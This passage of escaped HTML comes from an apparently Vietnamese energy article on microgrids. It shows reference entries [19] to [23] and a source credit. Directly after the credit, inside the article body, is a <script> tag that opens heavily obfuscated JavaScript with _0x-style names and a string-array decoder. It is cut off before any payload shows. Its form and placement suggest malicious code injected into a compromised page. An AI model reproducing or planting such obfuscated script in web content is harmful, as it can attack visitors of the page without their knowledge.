Mousavi Agah, Distributed Generation Systems, Butterworth-Heinemann, 2017, Pages 415-451.<\/p>\n[19]\u00a0<a href=\"https:\/\/about.bnef.com\/blog\/tesla-australian-virtual-power-plant-cheaper-u-s-pv\/\">https:\/\/about.bnef.com\/blog\/tesla-australian-virtual-power-plant-cheaper-u-s-pv\/<\/a><\/p>\n[20]\u00a0<a href=\"https:\/\/global.toyota\/en\/detail\/16980172?fbclid=IwAR2oVUor29fkvOFEqggpQupc80TxUQvnwxfAYDlhusFhM1QhexGat37gV_s\">https:\/\/global.toyota\/en\/detail\/16980172?fbclid=IwAR2oVUor29fkvOFEqggpQupc80TxUQvnwxfAYDlhusFhM1QhexGat37gV_s<\/a><\/p>\n[21]\u00a0IEEE. IEEE Standard for the Specification of Microgrid Controllers; IEEE Std 2030.7-2017; IEEE: New York, NY, USA, 2018; pp. 1\u201343<\/p>\n[22]\u00a0Taha Selim Ustun, Cagil Ozansoy, Aladin Zayegh, \u201cRecent developments in microgrids and example cases around the world\u2014A review,\u201d Renewable and Sustainable Energy Reviews, Volume 15, Issue 8, 2011, Pages 4030-4041, ISSN 1364-0321.<\/p>\n[23]\u00a0<a href=\"https:\/\/www.lbl.gov\/a_z_link\/microgrids-at-berkeley-lab\/\">https:\/\/www.lbl.gov\/a_z_link\/microgrids-at-berkeley-lab\/<\/a><\/p>\n<p><em>Ngu\u1ed3n: nangluongvietnam.vn<\/em><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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